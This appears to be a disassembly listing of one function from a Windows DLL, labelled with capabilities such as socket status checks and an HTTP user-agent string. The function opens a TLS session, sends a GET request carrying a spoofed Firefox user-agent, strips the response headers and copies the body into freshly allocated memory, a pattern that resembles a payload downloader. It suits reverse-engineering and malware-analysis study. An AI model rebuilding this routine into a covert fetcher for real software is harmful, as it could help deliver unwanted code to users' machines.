Function at 0x180006be6
Capabilities:
Get socket status
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x4e8
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.180009e0b
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp + 0x28]
call fcn.180009da1
add rsp, 0x20
sub rsp, 0x20
call qword [sym.imp.secur32.dll_InitSecurityInterfaceA]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
lea rdx, [rbp - 0x510]
call fcn.180003bcc
add rsp, 0x20
sub rsp, 0x50
lea rcx, [rbp - 0x510]
mov rdx, qword [rbp + 0x18]
lea r8, [rbp - 0x48]
lea r9, [rbp - 0x58]
lea rax, [rbp - 0xf8]
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x90]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0xa0]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0xa8]
mov qword [rsp + 0x40], rax
call fcn.180003e9b
add rsp, 0x50
test rax, rax
je 0x180006f3a
mov qword [rbp - 0xc0], 2
mov qword [rbp - 0xb8], 4
mov dword [rbp - 0x108], 1
mov dword [rbp - 0x104], 0x2710
mov dword [rbp - 0x100], 0x2710
sub rsp, 0x50
mov rcx, qword [rbp - 0xf8]
movabs rdx, 0x98000004
lea r8, [rbp - 0x108]
mov r9, 0xc
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 0x110]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
call qword [sym.imp.ws2_32.dll_WSAIoctl]
add rsp, 0x50
sub rsp, 0x20
mov r9, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rdx, str.GET__s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__rv:66.0__Gecko_20100101_Firefox_66.0_r_nConnection:_close_r_n_r_n
lea rcx, [rbp - 0x510]
call qword [sym.imp.user32.dll_wsprintfA]
add rsp, 0x20
sub rsp, 0x60
mov rcx, qword [rbp - 0xf8]
lea rdx, [rbp - 0x48]
mov r8, 0
lea r9, [rbp - 0x510]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x90]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0xa0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
lea rax, [rbp - 0xc0]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp - 0xa8]
mov qword [rsp + 0x50], rax
call fcn.18000323e
add rsp, 0x60
sub rsp, 0x30
mov rcx, qword [rbp - 0xf8]
mov rdx, 0
lea r8, [rbp - 0xf0]
mov r9, 0xa
mov qword [rsp + 0x20], 0
call fcn.1800039d2
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
lea rdx, [rbp - 0xf0]
mov r8, 0
mov r9, 0
lea rax, [rbp - 0xd8]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp eax, 0
jle 0x180006f3a
cmp eax, 0
je 0x180006f35
sub rsp, 0x70
mov rcx, qword [rbp - 0xf8]
lea rdx, [rbp - 0x48]
lea r8, [rbp - 0xb0]
mov r9, 0
mov qword [rsp + 0x20], 0
mov rax, qword [rbp - 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x90]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0xa0]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0xb8]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0xc0]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0xc8]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp - 0xa8]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 0
call fcn.1800033ba
add rsp, 0x70
cmp eax, 0
je 0x180006f3a
cmp eax, 0
jl 0x180006de4
mov rdx, qword [rbp - 0x520]
add qword [rbp - 0x520], rax
sub rsp, 0x20
lea rcx, [rbp - 0x518]
mov r8, qword [rbp - 0xb0]
mov r9, rax
call fcn.180009c21
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0xb0]
call fcn.180009da1
add rsp, 0x20
jmp 0x180006de4
sub rsp, 0x20
lea rcx, [rbp - 0xa0]
mov rdx, 0
mov r8, 2
call fcn.1800035f2
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x90]
mov rdx, 0
mov r8, 6
call fcn.180003561
add rsp, 0x20
cmp qword [rbp - 0x60], 0
je 0x180006fc5
sub rsp, 0x20
lea rcx, str.bcrypt.dll
call fcn.18000a4d8
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
lea rdx, str.BCryptCloseAlgorithmProvider
call fcn.18000a390
add rsp, 0x20
mov rcx, qword [rbp - 0x60]
mov rdx, 0
sub rsp, 0x20
call rax
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x48]
lea rdx, [rbp - 0x58]
mov r8, qword [rbp - 0xf8]
call fcn.18000347e
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0xb0]
call fcn.180009da1
add rsp, 0x20
cmp qword [rbp - 0x520], 0
je 0x1800070ad
mov rsi, qword [rbp - 0x518]
mov rcx, qword [rbp - 0x520]
jmp 0x1800070a3
cmp dword [rsi], 0xa0d0a0d
jne 0x18000709d
sub rcx, 4
add rsi, 4
cmp rcx, 0
jle 0x18000709d
mov qword [rbp - 0x520], rcx
sub rsp, 0x20
mov rcx, 0
mov rdx, qword [rbp - 0x520]
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
cmp rax, 0
je 0x1800070ad
mov rdi, rax
sub rsp, 0x20
mov rcx, rsi
mov rdx, rdi
mov r8, qword [rbp - 0x520]
call fcn.180009fab
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x518]
call fcn.180009da1
add rsp, 0x20
mov qword [rbp - 0x518], rdi
jmp 0x1800070ad
inc rsi
dec rcx
cmp rcx, 4
jge 0x180007016
sub rsp, 0x20
lea rcx, [rbp - 0x518]
mov rdx, qword [rbp + 0x28]
mov r8, 8
call fcn.180009fab
add rsp, 0x20
mov rax, qword [rbp - 0x520]
add rsp, 0x4e8
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret